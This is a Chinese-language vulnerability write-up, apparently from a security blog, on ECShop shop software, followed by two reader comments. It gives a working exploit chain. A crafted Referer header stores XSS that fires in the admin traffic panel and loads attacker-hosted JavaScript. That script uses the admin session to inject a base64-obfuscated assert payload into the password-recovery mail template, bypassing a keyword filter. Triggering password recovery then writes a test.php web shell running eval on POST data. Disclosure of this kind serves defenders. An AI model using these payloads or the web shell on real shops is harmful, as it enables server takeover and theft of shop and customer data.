ecshop过滤不严导致上万网店可被getshell(需一定条件)

漏洞作者: Flow

1.includes/lib_main.php过滤不严导致XSS

看代码

function visit_stats()
{
    if (isset($GLOBALS['_CFG']['visit_stats']) && $GLOBALS['_CFG']['visit_stats'] == 'off')
    {
        return;
    }
    $time = gmtime();
    /* 检查客户端是否存在访问统计的cookie */
    $visit_times = (!empty($_COOKIE['ECS']['visit_times'])) ? intval($_COOKIE['ECS']['visit_times']) + 1 : 1;
    setcookie('ECS[visit_times]', $visit_times, $time + 86400 * 365, '/');

    $browser  = get_user_browser();
    $os       = get_os();
    $ip       = real_ip();
    $area     = ecs_geoip($ip);

    /* 语言 */
    if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']))
    {
        $pos  = strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], ';');
        $lang = addslashes(($pos !== false) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, $pos) : $_SERVER['HTTP_ACCEPT_LANGUAGE']);
    }
    else
    {
        $lang = '';
    }

    /* 来源 */
    if (!empty($_SERVER['HTTP_REFERER']) && strlen($_SERVER['HTTP_REFERER']) > 9)
    {
        $pos = strpos($_SERVER['HTTP_REFERER'], '/', 9);//
        if ($pos !== false)
        {
            $domain = substr($_SERVER['HTTP_REFERER'], 0, $pos);
            $path   = substr($_SERVER['HTTP_REFERER'], $pos);

            /* 来源关键字 */
            if (!empty($domain) && !empty($path))
            {
                save_searchengine_keyword($domain, $path);
            }
        }
        else
        {
            $domain = $path = '';
        }
    }
    else
    {
        $domain = $path = '';
    }

    $sql = 'INSERT INTO ' . $GLOBALS['ecs']->table('stats') . ' ( ' .
                'ip_address, visit_times, browser, system, language, area, ' .
                'referer_domain, referer_path, access_url, access_time' .
            ') VALUES (' .
                "'$ip', '$visit_times', '$browser', '$os', '$lang', '$area', ".
                "'" . addslashes($domain) ."', '" . addslashes($path) ."', '" . addslashes(PHP_SELF) ."', '" . $time . "')";
    $GLOBALS['db']->query($sql);//$domain 从$_SERVER取出,只是简单的addslashes一下,没有过滤html标签
}

取出时也没有过滤,于是产生漏洞

我们来构造一下REFERER

访问首页,构造Referer值为'></graph>"><IMG SRC='' onerror=javascript:alert('XSS')>/

提交,如图,

05185555fbc6f9ae1a48ab8a86c7ca833bda647d

 

管理员查看流量分析时触发,如图

 

05185643eb09e9c2008152e4680d8474b06f9b42

 

05185657079a0a85222776297a2f750eb7bccd19

 

2.打cookie多没意思,咱们getshell吧

构造Referer值为--></script>/

提交

再次构造Referer值为'></graph>"><script src="http:\\\\127.0.0.1\\demo.js"><!--/

提交(src后面的js地址必须用反斜杠)

demo.js内容为

Ajax.call('mail_template.php?is_ajax=1&act=save_template', "subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24u%27%5D%3Bassert%28base64_decode%28%27ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7%3D%3D%27%29%29%3B+%2F%2F_var%5B%27%7D%3C%3F" , a, "POST", "JSON");/*写php代码到取回密码邮件模板,会员执行取回密码时执行php代码*/
Ajax.call('../user.php?act=get_password','act=send_pwd_email&user_name=vip&email=vip@ecshop.com', a , "POST", "JSON");/*前台取回密码.这里的vip和vip@ecshop.com为前台会员帐号和邮箱,我懒得注册了就用这个测试*/
function a(){
alert('');
}

触发后,会在网店根目录生成一个test.php的文件,内容为<?php @eval($_POST['a']);?>

这里利用的是写php代码到取回密码邮件模板,执行取回密码操作时执行写入的代码

漏洞在includes\cls_template.php的fetch_str()函数

function fetch_str($source)
    {
        if (!defined('ECS_ADMIN'))
        {
            $source = $this->smarty_prefilter_preCompile($source);
        }
        $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);//过滤了部分php关键词

        if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
        {  
            $sp_match[1] = array_unique($sp_match[1]);
            for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
            }
             for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                 $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
            }
         }

         return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
    }

我们可以构造代码到取回邮件模板:

{$u'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7==')); //_var['}<?

执行取回操作即可绕过过滤执行我们构造的代码

2 条评论

  1. 我去

    我测试这个怎么是反射型?本地触 发

    1. 0day5
      @我去

      后台可以触发的,在referer处是可以看到是反射型的~但是实际上可以在后台被触发的

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